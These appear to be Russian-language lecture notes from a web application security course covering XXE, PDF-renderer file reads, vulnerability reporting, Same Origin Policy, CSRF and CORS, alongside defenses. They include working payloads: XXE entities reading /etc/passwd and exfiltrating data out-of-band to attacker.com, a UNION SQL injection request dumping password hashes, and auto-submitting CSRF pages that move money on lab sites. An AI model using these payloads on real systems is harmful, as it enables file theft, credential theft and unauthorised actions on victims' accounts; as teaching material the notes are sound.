# 12-16 Web Application Security Analysis (Advanced) Лекции 1-6 https://hackmd.io/@Mart/HkNZarVn5 Лекции 7-11 https://hackmd.io/@Mart/B1TjpzKAc # Занятие 12. Уязвимость XML External Entity. Четверг, 25 августа 2022г., с 19:00 до 22:00 (МСК) Изучение уязвимости XML eXternal Entity, защита от XXE. Изучение атаки PDF Rendering https://hackmd.io/02cKRXSWQbyV2VB2li7h2A ## XML eXternal Entity (XXE) ## PDF Rendering ## XXE - OWASP A4 A05:2021-Security Misconfiguration Старые или плохо настроенные XML-процессоры обрабатывают ссылки на внешние сущности внутри документов. Эти сущности могут быть использованы для доступа к внутренним файлам через обработчики URI файлов, общие папки, сканирование портов, удаленное выполнения кода и отказ в обслуживании. ## XML ![](https://i.imgur.com/GC0KVk2.png) DTD - document type difinition (типы данных) **Как устроены данные** ![](https://i.imgur.com/ZS3Qpav.png) Теги начинаются с <recipe > </recipe> Атрибуты в теге - имя без ковычек, Значение пишутся с " двойными кавычками" Комментарий ``` <!-- открываются --> закрываются ``` ## XML - Entity (Сущности) Entity - своеобразные переменные XML. Виды (сущности): - встроенные - внутренние - внешние ## XML - встроенные Entity ![](https://i.imgur.com/3GodxVe.png) Символ Entity < &lt; > &gt; & &amp; ’ &apos; " &quot; ![](https://i.imgur.com/t9UvEsB.png) парсер который парсит на пхп ``` <?php $x = new SimpleXMLElement(file_get_contents('test.xml')); var_dump($x); echo $x->fefe; ?> ``` ![](https://i.imgur.com/nNaVsSN.png) ## XML - встроенные Entity Пример: ``` <?xml version='1.0'?> <element>fooo&lt;test&gt; &#51; &#x34;</element> ``` ## XML - внутренние Entitry ![](https://i.imgur.com/bijy6UI.png) ![](https://i.imgur.com/clBley0.png) ``` <?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY name "cth" >]> <element><xxx>Hello, &name;</xxx></element> ``` ENTITY - dtd сущности имеют формат **&name;** ## XML - внешние Entity Добавляем в ДТД сущность ENTITY Cущности имеют формат &name; SYSTEM - означает что сущность внешняя ![](https://i.imgur.com/pLmYAhf.png) .... ``` <?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY name SYSTEM "file:///etc/passwd" >]> <element><xxx>Hello, &name;</xxx></element> ``` Можем указать юрл, путь к файлу; используем схему файл для чтения локальных данных. После распарсивания будет подставлено - **etc/passwd** PHP парсер по умолчанию не уязвим к атаке, его надо специально настроить **Чтобы стал уязвимым надо добавить опцию** - LIBXML_NOETN ![](https://i.imgur.com/TGtdCTk.png) ![](https://i.imgur.com/AkNiHQ2.png) ## XML eXternal Entity (XXE) - раскрытие внешних сущностей. XXE - уязвимость, заключающаяся в том, что парсер XML уязвимого приложения раскрывает внешние сущности в XML-документе, который контролируется атакующим. Может отправить сетевой запрос, на другой ресурс внетреней сети - будет ssrf через xxe. ВНешние сущности позволяют один документ связать с другим. **Защита** настроить парсер, чтобы он эти сущности не раскрывал. ## XXE Вектора атаки: DoS Local File Read SSRF ## XXE - DoS пытаемся сделать отказ в обслуживании ``` <!DOCTYPE data [ <!ELEMENT data ANY> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data><xxx>&a2;</xxx></data> ``` ![](https://i.imgur.com/2VWue1y.png) добавится 8000 раз dos В современном пхп не работает. Если нашли где то загрузку xml , то можем попытаться сделать атаку. Потихоньку увеличивать сущности и нагрузку. ( Предварительно согласовать с заказчиком) **Удобный дос для теста** ## XXE - чтение локальных файлов http://csr8.psorokin.ru:8111/xxe-1.php ![](https://i.imgur.com/lELzXYS.png) ![](https://i.imgur.com/jewLlVd.png) Идет изменение секрета ``` <?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY name SYSTEM "file:///etc/passwd" >]> <element><xxx>Hello, &name;</xxx></element> ``` Добавим дтд и заголовок ![](https://i.imgur.com/uTVlLbL.png) сущность name с файлом etc/passwd ![](https://i.imgur.com/6OvhMwS.png) ![](https://i.imgur.com/SGaVYxH.png) Добавили сущность name и прочитали файл etc/passwd Можем читать файл (нет спец символов в этом файле) ![](https://i.imgur.com/3St0nKp.png) ![](https://i.imgur.com/KjAFhek.png) В пхп - знак вопроса делает xml документ некорректным и парсер падает. Символ меньше и больще - падает парсер. Бинарные файлы - если они большие, то через XXE не получится прочитать ![](https://i.imgur.com/5p36Avs.png) Применяя фильтр можем прочитать файл, потому что инфа закодирована и нет спецсимволов. ![](https://i.imgur.com/WXMBOgq.png) ТАкая уязвимость часто встречается в JAVA потому что парсеры джавы раскрывают сущности. **HTTP - запрос** ![](https://i.imgur.com/T3WSdkc.png) в JSON прочитали нормально, но тут нет спецсимволов ![](https://i.imgur.com/GmmMQPr.png) Ошибки, потому что первой встречается эта строчка ![](https://i.imgur.com/uIC6xje.png) ![](https://i.imgur.com/7efQnJo.png) ## XXE - классификация В зависимости от того, отображается ли результат обработки внешней сущности атакующему или нет, можно **выделить**: - reflected XXE - blind XXE (если ничего не отражается) Существуют следующие **техники эксфильтрации** данных: - прямой reflection (приложение само рефлектит)(базовый уровень эксплуатации) - CDATA reflection - error-based (вывод интересующей информации в сообщение об ошибке) - out-of-band (отправляем данные из внутренней сети к нам на сервер) ## XXE - специальные символы При чтении файлов, содержащих спец символы XML могут возникнуть проблемы - файл перестанет быть корректным XML документом. Для PHP можно использовать схему php://filter для обхода. ## XXE - техника CDATA Специальная секция внутри хмл документа, которая позволяет передавать некоторые спец символы <пример CDATA> ![](https://i.imgur.com/oMoHlJg.png) ![](https://i.imgur.com/9k36VDQ.png) `<![CDATA[Все что внутри отображается]]>` Для чтения файлов с символами < и > можно использовать CDATA. Мы читаем external.dtd который хранится на нашем сервере или загрузить на уязвимое веб приложение data.xml: ``` <?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY % external_entity SYSTEM "http://adress_server/external.dtd"> %external_entity; %all; <!ENTITY name "hackeru" >]> <element><xxx>Hello, &fileContents;</xxx></element> ``` %external_entity - параметризованная сущность с процентом пишется. Ее можно использовать в дтд. Переменная в которой определяются другие переменные. ## XXE - техника CDATA Для чтения файлов с символами < и > можно использовать CDATA. **Cодержимое файла external.dtd** external.dtd: ``` <!ENTITY % file SYSTEM "file:///tmp/secret.txt"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> ``` Определяем 3 сущности - file, start, end И еще одну сущность all, в которую подставляем хмл документ и в нем определена сущность file-content (она позволит прочитать файл) Создаем файлик cdata и с помощью питона раздаем на порту ![](https://i.imgur.com/zrNecCx.png) ![](https://i.imgur.com/hyxQbKL.png) Если 2 одинаковые сущности , то будет читать 1 В такой ситуации мы не сможем прочитать файл, если в нем есть одинарная кавычка ![](https://i.imgur.com/VXUSUMx.png) Если в файле только одинарная и двойная кавычка - то прочитать сможем, в других случаях - нет. Здесь поменяли местами кавычки и поэтому запрос не сломается ![](https://i.imgur.com/Qq0NFXd.png) Файл с одинарной кавычкой мы прочитали, но тут sql инъекция ![](https://i.imgur.com/7zPS5EL.png) Но не сможем теперь прочитать файл с двумя кавычками. ![](https://i.imgur.com/6Xh6eR4.png) Создавать ENTITY внутри ENTITY нельзя в рамках xml файла нельзя, но с внешнего файла загружать ENTITY можно ![](https://i.imgur.com/uJnmfpw.png) ## XXE - техника CDATA ``` <!ENTITY % file SYSTEM "file:///tmp/secret.txt"> ... <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> ``` Содержимое файла подставляется в одинарные кавычки. Если в файле есть одинарные кавычки, ENTITY развалится и техника не сработает. То есть такая техника позволяет эксфильтровать данные в которых нету либо двойных либо одинарных кавычек. Если есть и те и другие, техника не сработает. ## XXE - техника CDATA Итого: Итого: - подходит в случае reflected XXE. - требует либо загрузки файла, либо доступа в интернет с машины - подходит для чтения файлов с < и >, при этом все же не любых ## XXE - Error-based Идея - вывести данные в сообщение об ошибки. Вариантов много, пример request: ``` <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd"> %ext; ]> <message></message> ``` external.dtd: ``` <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` символ процента - &#x25 ![](https://i.imgur.com/NvAsg2w.png) ![](https://i.imgur.com/zSUtIgh.png) ![](https://i.imgur.com/skKQkGa.png) ![](https://i.imgur.com/MuR4V1Z.jpg) ## XXE - Error-based - ограничения Файл точно также как и в CDATA подставляется в одинарные кавычки и соответственно, если в файле содержатся одинарные кавычки, техника не сработает. Можно эксфильтровать данные в которых нету либо двойных, либо одинарных кавычек. Если есть и те и другие, техника не сработает. ## XXE - Error-based Если целевая машина не ходит в интернет и нет возможности загрузки файлов, можно воспользоваться DTD-файлами, которые уже есть на системе. https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ ![](https://i.imgur.com/O461xTz.png) https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md ![](https://i.imgur.com/3nIxt7a.png) ![](https://i.imgur.com/C7RW6OJ.png) #x27 - одинарная кавычка закодированная Проверка есть ли ... ![](https://i.imgur.com/1xlXDAp.png) ## XXE - Out-of-band в этой технике отправляем себе на сервер Пример: ``` <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "external.dtd"> <data>&send;</data> external.dtd: <!ENTITY % file SYSTEM "file:///sys/power/image_size"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>"> %all; ``` ![](https://i.imgur.com/3LdrgDC.png) ![](https://i.imgur.com/J1IWeck.png) Ошибка - потому что URL имеет некорректную сруктуру - перенос строки ![](https://i.imgur.com/AY58nMu.png) убираем перенос строки ![](https://i.imgur.com/LB0z0OQ.png) Надо зарезолвить send ![](https://i.imgur.com/uTEMOHT.png) Данные улетят на http://publicServer.com. Скорее всего прочитает только **первую строку** файла. ## XXE - Out-of-band вектора для XXE Payloads all the things https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection FTP trick http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html - работает в определенных версиях JAVA (дя этого надо поднять сервер ftp в который будет выводится куссочки инфы) ![](https://i.imgur.com/7oELWjc.png) # XXE - Java Позволяет получать содержимое директорий. И джава выведет список файлов директории. ``` <?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY name SYSTEM "file:///etc/" >]> <element><xxx>Hello, &name;</xxx></element> ``` # XXE - Out-of-band - ограничения те же самые - с кавычками , символами меньше/ больше ## XXE - Защита Отключить раскрытие внешних сущностей, или парсинг DTD полностью. Способ зависит от парсера. В большинстве парсеров отключены по умолчанию, исключение - Java. ## XXE - Защита Java Для стандартного парсера Java: ``` dbf = javax.xml.parsers.DocumentBuilderFactory.newInstance() dbf.setExpandEntityReferences(false); DocumentBuilder db = dbf.newDocumentBuilder(); Document document = db.parse(<XML Source>); ``` ## PDF Rendering В случае, если веб-приложение генерирует PDF документ на основе HTML и этот HTML контролируется атакующим, атакующий может заставить веб-приложение выполнить запрос или подключить локальный файл. ## PDF Rendering проверка наличия уязвимости Для проверки наличия уязвимости можно подключать картинки с помощью тэга img. (c помощью него мы сможем подключить локальный файл или выполнить хттп запрос - библиотека должна пойти по ссылке ) ## PDF Rendering task < CTF ZONE Task > docker-compose pull docker-compose up --no-build ![](https://i.imgur.com/GgU9d5l.png) ![](https://i.imgur.com/bC9bt38.png) ![](https://i.imgur.com/ymwRk9o.png) ## PDF Rendering Вектора атаки: Вектора атаки: Читаем локальные файлы: Узнаем какие библиотеки есть - cat вызываем пдф и в метданных может отображаться название / 2 способ - смотреть картинку ( определить по квадратику с крестиком - ошибка картинки) **weasyprint Local File Read:** `<link rel=attachment href='file:///etc/passwd'>` ![](https://i.imgur.com/JGB6k7u.png) Далее генерим пдф ![](https://i.imgur.com/2oPR6o1.png) - смотрим прикрепленные файлы, которые можем скачать (они содержатся в пдф) Сейчас совсем зафиксили -по умолчанию. Но надо тестить - встречаются старыее версии библиотек **mPDF Local File Read:** `<annotation file="dev.php" content="xxxx" icon="Graph" title="Attached File: xxxx" pos-x="195" />` **wkhtmltopdf Local File Read:** - iframe: `<iframe src=/etc/passwd></iframe>` - ajax requests - etc. ## Описание уязвимостей - отчеты - Уровень опасности - Адрес - CVSS - CVSS-вектор - Описание - Пример эксплуатации - Рекомендации ### CVSS Для рассчета используются калькуляторы: https://www.first.org/cvss/calculator/3.0 ![](https://i.imgur.com/HunQ7wb.png) Пример отчета в Bizone SQL Injection Уровень опасности: высокий Адрес: http://csr8.psorokin.ru:8000/sqli_6.php CVSS: 8.8 CVSS-вектор: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Описание: Уязвимость к SQL-инъекции позволяет злоумышленнику внедрить в запрос к базе данных произвольный SQL-код и получить доступ к конфиденциальным данным, хранимым в базе данных, к возможности их изменения, а также к выполнению операций по администрированию СУБД. Уязвимость возникает из-за небезопасной подстановки пользовательских данных в формируемый SQL-запрос. CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) Пример эксплуатации: Веб-приложение некорректно обрабатывает параметр title POST-запроса к ресурсу http://psorokin.ru:8000/sqli_6.php. Содержимое параметра конкатенируется с SQL-запросом что позволяет атакующему внедрить операторы SQL и изменить логику выполнения запроса. Атакующий может применить технику эксплуатации SQL-инъекций Union based для получения доступа к информации, хранящейся в СУБД. Пример запроса, приводящего к получению списка пользователей и хешей их паролей из таблицы users: POST /sqli_6.php HTTP/1.1 Host: psorokin.ru:8000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 80 Origin: http://psorokin.ru:8000 Connection: close Referer: http://psorokin.ru:8000/sqli_6.php Cookie: PHPSESSID=n5bd7uua5ht29hm148f0e2ms71; security_level=0 Upgrade-Insecure-Requests: 1 title=fewfew' UNION select 1,login,password,4,5,6,7 from users -- &action=search Результат выполнения запроса приведен на скриншоте ниже Получение списка пользователей и хешей паролей Рекомендации по устранению: Использовать Prepared Statements при формировании SQL-запросов; Осуществлять валидацию входных параметров на соответствие ожидаемому формату; Дополнительная информация по защите от данного типа уязвимостей приведена в документе OWASP. Задания на CTFd (http://psorokin.ru) тест для самопроверки в LMS Select a repo Описать уязвимость которую нашли - ДЗ # 13 занятие https://hackmd.io/D4_x36Z3RJuyfG1YV8Nmrg # SOP / CSRF Вопросы по заданиям? # Безопасность клиентской части веб-приложений ## Атаки на сервер Атакующий напрямую взаимодействует с сервером, посылает запросы, смотрит ответы ## Атаки на клиента **Браузер пользователя** - сложная программа, работающая по определенным стандартам и алгоритмам. Атакующий может заставить его действовать так как ему нужно. ## Атаки на клиента В клиентской безопасности считается что пользователь кликает по ссылке атакующего, либо в его браузере уже открыта страница атакующего. ## Same Origin Policy Origin Origin - комбинация из 3-х значений: Схема (http:// или https://) Домен (www.example.com) Порт (:80, :443 и т.д.) ![](https://i.imgur.com/74071YS.png) ## Same Origin Policy Документы, загруженные с опредленного origin могут свободно взаимодействовать с веб-приложением или другими документами, если их origin полностью совпадает. ## Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html ## Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html http://www.example.com:81/dir/other.html Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html http://www.example.com:81/dir/other.html https://www.example.com/dir/other.html Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html http://www.example.com:81/dir/other.html https://www.example.com/dir/other.html http://en.example.com/dir/other.html Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html http://www.example.com:81/dir/other.html https://www.example.com/dir/other.html http://en.example.com/dir/other.html http://example.com/dir/other.html С точки зрения веба - www это уже другой домен Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html http://www.example.com:81/dir/other.html https://www.example.com/dir/other.html http://en.example.com/dir/other.html http://example.com/dir/other.html http://v2.www.example.com/dir/other.html Same Origin Policy Совпадает ли ссылка ниже по origin с http://www.example.com/: http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://username:password@www.example.com/dir2/other.html http://www.example.com:81/dir/other.html https://www.example.com/dir/other.html http://en.example.com/dir/other.html http://example.com/dir/other.html http://v2.www.example.com/dir/other.html http://www.example.com:80/dir/other.html ## Зачем нужен SOP? (на любом собеседовании по вебу) Основной механизм безопасности в интернете. Если бы не SOP, то: Любая страница в браузере, которую пользователь посетил, могла бы получить всю информацию с вашего facebook, и даже что нибудь запостить от вашего имени. Аналогично с ДБО, почтой и т.д. ## SOP - а что можно? Можно отправлять запросы другим веб-приложениям. Но не любые, только «простые» (об этом чуть позже). Но читать ответы нельзя. Браузер получит ответ, но прежде чем вернуть его javascript-коду, он поймет что это cross-origin запрос и заблокирует. SOP <Демонстрация отправки запросов evil.com/example.com> ![](https://i.imgur.com/tvfIxQW.png) ![](https://i.imgur.com/wlHMgbR.png) ![](https://i.imgur.com/aUlL09i.png) Ошибка 404 ![](https://i.imgur.com/JwfABbC.png) Прочитали ответ Отправляем с example.com на evil.com ![](https://i.imgur.com/GdzvgiL.png) Браузер заблокирован ![](https://i.imgur.com/LDTIqVI.png) Ответ пустой, браузер говорит что ориджин не такой ![](https://i.imgur.com/wDSPE8p.png) Вот так работает механизм защиты SOP (same origin policy) - безопасность обеспечивает браузер Ответ получил, но не работает. **Мы можем** Можем отправлять простые запросы , но читать ответы нельзя. ## Cross-Site Request Forgery ## CSRF Cross-Site Request Forgery Атака, при которой атакующий перенаправляет пользователя (с помощью джава скрипта) на уязвимую страницу или выполняет AJAX-запрос на уязвимую страницу, а она выполняет определенные действия в веб-приложении. Читать ответ атакующий не может, но иногда это не требуется. Cross-Site Request Forgery Классическая схема ![](https://i.imgur.com/QkZkDnL.png) Чтобы СSRF рабртало - надо чтобы была сессия. С помощью джава скрипта отправляется запрос с переводом денег, но атакующий не сможет прочитать ответ. ## CSRF - GET и POST Если целевая страница позволяет выполнить нужное атакующему действие по методу **GET**, то он может использовать прямую ссылку на целевой сайт. Атакующий кидает ссылку на сайт. Если же требуется **POST**, то атакующему необходимо заманить жертву на свою контролируемую страницу, откуда с помощью Javascript выполнить запрос на уязвимую страницу. ## CSRF Отправить запрос с одного Origin на другой можно следующими способами: - Заполнение и сабмит формы (GET & POST) - XMLHttpRequest/fetch (AJAX-запрос) (GET & POST) - Как ссылку на ресурс (например, `<img src="http://vulnerable.all/delete_account" >`), так можно только GET. CSRF - форма ``` <html> <form action="http://victim.ru/send_money" method=POST> <input type="text" name="account" value="123"> <input type="text" name="amount" value="10000"> <input type=submit> </form> <script>document.forms[0].submit()</script> </html> ``` CSRF - XHR ``` <html> <script> var xmlHttp = new XMLHttpRequest(); xmlHttp.open("POST", "http://victim.ru", false); xmlHttp.withCredentials=true; xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttp.send("account=123&amount=10000"); </script> </html> ``` CSRF Демонстрация bwapp. http://csr8.psorokin.ru:8000/csrf_1.php Создаем 2 пользователей ![](https://i.imgur.com/s6QONRH.png) Отправляем запрос на смену пароля ![](https://i.imgur.com/TiZKxy6.png) Cybered1 пытается поенять пароль cybered2 **Куки ставятся на домен** Можем отправить ссылку со страничкой, которую должна посетить наша жертва. ![](https://i.imgur.com/8HVcEmv.png) ``` <html> <img src='http://csr8.psorokin.ru:8000/csrf_1.php?password_new=123123&password_conf=123123&action=change'> </html> ``` ![](https://i.imgur.com/OT0QBnk.png) ![](https://i.imgur.com/yWdHt1h.png) Запрос улетел, при этом подставлена браузером - кука. ![](https://i.imgur.com/0lfxJqz.png) СSRF на изменение секрета ![](https://i.imgur.com/Mb80qL3.png) Делаем хтмл документ, который подсунем жертве ![](https://i.imgur.com/pU7jiAm.png) ![](https://i.imgur.com/xsHzW2n.png) ![](https://i.imgur.com/NDBM0kE.png) ![](https://i.imgur.com/VgiXahq.png) Запрос изменен, кука подставлена ![](https://i.imgur.com/eXnJufk.png) ![](https://i.imgur.com/krdMX3y.png) ![](https://i.imgur.com/KHhYR3E.png) Редиректнул автоматически и изменил секрет. ``` <html> <form action=http://csr8.psorokin.ru:8000/csrf_3.php method=POST> <input name=secret value="You are hacked"> <input name=login value="cybered2"> <input name=action value="change"> <input type=submit> </form> <script> document.forms[0].submit(); </script> </html> ``` В платном бурпе - generate csrf ![](https://i.imgur.com/6uSM5W5.png) ![](https://i.imgur.com/fdzXgZU.png) ## CSRF AJAX XHR ![](https://i.imgur.com/9BNfRy5.png) ![](https://i.imgur.com/FWuHDMn.png) ![](https://i.imgur.com/ERlPYPa.png) ![](https://i.imgur.com/94ryS40.png) ![](https://i.imgur.com/uNbHfeZ.png) Улетел запрос без куки, теперь добавим в код инфу ![](https://i.imgur.com/v4PlTia.png) Отправляется запрос с куками ![](https://i.imgur.com/i9jMhOV.png) у пользователя поменялся секрет - запрос улетел, но ответ нельзя прочитать ![](https://i.imgur.com/gkA6LvP.png) ![](https://i.imgur.com/JaCXfPw.png) ![](https://i.imgur.com/z5WSTcw.png) В текущем домене прилетела кука. Если path/ совпадает то кука прилетит. - /path передает на все подпути. ``` <html> <h1>Hello</h1> <script>    var x = new XMLHttpRequest();    x.open("POST","http://csr8.psorokin.ru:8000/csrf_3.php",false);    x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");    x.withCredentials=true;    x.send("secret=You+are+hacked&login=cybered2&action=change"); </script> </html> ``` Практика в Банке Нолик. http://csr8.psorokin.ru:8131/login.php http://csr8.psorokin.ru:8132/ ``` <html> <h1>Hello</h1> <script> var x = new XMLHttpRequest(); x.open("POST","http://csr8.psorokin.ru:8131/send.php",false); x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); x.withCredentials=true; x.send("to=mm&amount=200&message=change"); </script> </html> hackeru{where_is_my_money} 2 вектор <html> <form action=http://csr8.psorokin.ru:8131/send.php method=POST> <input type="text" name="to" value="mm"> <input type="text" name="amount" value="111"> <input type="text" name="message" value="aldmal"> <input type=submit> </form> <script> document.forms[0].submit(); </script> </html> Удалось перевести 111 рублей ``` docker run –p 5555:80 cth123123/page_hosting ## CSRF - защита - Проверять заголовок Referer (не рекомендуется) (он позволяет следить за пользователем) - есть расширения для браузеров, которые этот заголовок блокирует - CSRF токены - SameSite Cookie - Требовать чтобы все запросы к защищаемому функционалу были «сложные» с точки зрения CORS. Referer ![](https://i.imgur.com/7f8bojq.png) Referer-Policy - не будет заголовка referer ![](https://i.imgur.com/ICifLmj.png) **Плохие методы защиты** https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html (нашли csrf - и в отчете писать - а подробнее смотрите по ссылке в читщитах) **Общая рекомендация по защите**: Весь защищаемый функционал делать доступным с помощью методов POST или PUT (отличных от методов GET) CSRF - защита https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet ## CSRF токены (cамый надежный метод защиты от CSRF) Строка из случайных символов, которая: - Связывается с сессией пользователя - Ставиться как ‘hidden’ параметр в форму После сабмита формы, веб-приложение проверяет соответствие токена, полученного из формы с тем, который установлен в сессии. Атакующий не может получить информацию из скрытого поля. ( потому что ему мешает ответ) ![](https://i.imgur.com/1ujNIJ3.png) Образовался еще один инпут - СSRF token ![](https://i.imgur.com/ebYoOCi.png) Установка токена Проверка токена на корректность ![](https://i.imgur.com/83wmNRi.png) **Сильная и стабильная защита от СSRF** Фактически в вебе - много чего подвержено СSRF (в рамках анализа защищенности веб приложения - часто встречаются, потому что разрабы забывают) Надо проверить все возможные механизмы защиты - убедится что нет возможности провести СSRF ## CSRF токены **Double Submit Cookie** - подход, который позволяет не хранить CSRF токен в базе. Это нужно чтобы не ходить в базу и не читать файлы. При аутентификации пользователю устанавливается Cookie с CSRF токеном (или с его производной, например, зашифрованным токеном). ( у атакуещего нет возможности забрать токен из куки) При запросе формы, веб-приложение берет токен из Cookie и добавляет в hidden поле. (также можно хеш и HMAC от него) ## CSRF токены Как часто генерировать: Как часто генерировать: - Для каждой формы генерировать новый токен (редко использ подход - реализован в банке нолик) - Использовать один токен на сессию (чаще используется) - удобнее подход и его используют ![](https://i.imgur.com/dXFgM1D.png) ## SameSite Cookie - атрибут куки ![](https://i.imgur.com/1TuXiGE.png) Параметр SameSite может принимать два значения: **strict и lax**. **strict** – Браузер никогда не передает cookie при кросс-доменных запросах. Недостаток связанный с юзер экспририенс. Браузер не отправил куки с яндекса в вк. **lax** - передает для «безопасных» методов: GET, HEAD, OPTIONS и TRACE. Если **SameSite** не установлен то в Chrome lax, в FF - none. ( от CSRF хром защищен от большинства случаев) ## SameSite Cookie У SameSite свой “SOP”. Если домен по same-site совпадает, то кука отправляется. Кука будет отправляться даже если на ней стоит SameSite с домена A на домен Б если: - общие правила для кук выполняются (domain с wildcard, например *.yandex.ru) - Кука установлена на уровне eTop Level Domain +1 или выше. (то есть кука с domain=.yandex.ru будет отправляться на admin.yandex.ru, а кука с domain=.spb.ru не будет отправляться на admin.spb.ru). ## Strict ![](https://i.imgur.com/ncqV5um.png) ![](https://i.imgur.com/OFJ9FRL.png) ![](https://i.imgur.com/TTxPsdm.png) Нажали еа ссылку и оказались разлогиненными Если ..... ![](https://i.imgur.com/mpypS8v.png) ## “Сложные” запросы Обсудим сначала что такое CORS Cross-origin resource sharing ## CORS Существуют случаи, когда разработчикам удобно разрешить чтение ответов с определенного origin другим веб-приложениям. ## CORS HTTP-заголовок разрешает страницам в origin «evil.com» чтение ответов этой страницы Access-Control-Allow-Origin: http://evil.com ![](https://i.imgur.com/zvuqJOb.png) ## CORS Access-Control-Allow-Origin: * (разрешение, чтение для другого ориджин) Не опасно, т.к. браузеры никогда не подставят Cookie в запросы с A-C-A-O: *. ## CORS Разрешение на передачу Cookie: Access-Control-Allow-Credentials: true Разрешение на передачу заголовков Access-Control-Allow-Headers: <header-name> **“сложность” запросов** Простые запросы - запросы, которые не требуют дополнительного разрешения от сервера при CORS. Это HEAD, GET, POST запросы без нестандартных заголовков и со стандартным Content-Type Можно считать, это те запросы которые можно отправить с помощью HTML-формы. “сложные запросы” ## Сложные запросы проходят в 2 этапа. Сначала браузер выполняет запрос **OPTIONS** с информацией о «нестандартности запроса». В котором браузер говорит - можно ли отправить запрос с таким то содержимым. И если получены разрешения на все «нестандартности», то уже будет отправлен основной запрос. **Делается в 2 шага** Наш браузер спрашивает (в Accept-Control) разрешение на отправку у сервера. ![](https://i.imgur.com/7woPABg.png) можем ли читать юзер - да можно ![](https://i.imgur.com/KQ0oXxW.png) Потом можно прочитать Headers. Мы вызвали метод http request ![](https://i.imgur.com/x4vZyoO.png) x = new XMLHttpRequest(); x.open("GET","http://csr8.psorokin.ru:8131/cors2.php",false); x.withCredentials=true; x.send(); ## CORS - небезопасная конфигурация - Заголовок Access-Control-Allow-Origin ответа копируется из заголовка Origin запроса. - В ответе есть Access-Control-Allow-Credentials: true - Сессии сделаны на основе Cookie или не требуются. Тогда любое приложение в интернете может обращаться к уязвимому приложению и читать ответы. ![](https://i.imgur.com/qoZIppZ.png) ## Защита от CSRF - “Сложные” запросы Наличие нестандартных заголовков или использование нестандартного Content-Type приводит к тому, что браузер перед запросом отправляет preflight – OPTIONS запрос. Если веб-приложение не даст разрешение на эти действия, то браузер не отправит основной запрос. **НО**, к сожалению есть Flash, который при 307 редиректе перенаправляет весь запрос вне зависимости от его «сложности». С помощью **text/plain** можем отправить произвольный json ![](https://i.imgur.com/jzwaHxU.png) Загрузка файлов - multi-part/formdata ![](https://i.imgur.com/NL6HUUN.png) Задания на CTFd (http://psorokin.ru) тест для самопроверки в LMS One more - есть бот, который идет по ссылка и он аутен в этом прилож и он зашел под именем админ, надо цсрф и зайти под админом Root-me # Занятие 14. Cross-origin resource sharing. Cross-Site Scripting. Четверг, 01 сентября 2022г., с 19:00 до 22:00 (МСК) Чтение ответов с определенного origin (CORS). В контексте origin приложения выполнять Javascript-код (XSS). Кража cookies, модификация dom-дерева, изменение компонентов веб-страницы https://hackmd.io/6m3P2CazQmaiUVn9d5-nxw ## Cross-Site Scripting ## XSS OWASP A7 XSS имеет место, когда приложение добавляет непроверенные данные на новую веб-страницу без их соответствующей проверки или преобразования, или когда обновляет открытую страницу через API браузера, используя предоставленные пользователем данные, содержащие HTML-или JavaScript-код. С помощью XSS злоумышленники могут выполнять сценарии в браузере жертвы, позволяющие им перехватывать пользовательские сессии, подменять страницы сайта или перенаправлять пользователей на вредоносные сайты. Cross-Site Scripting Атака, при которой в контексте origin приложения выполняется Javascript-код, контролируемый атакующим. Cross-Site Scripting Атака, при которой в контексте origin приложения 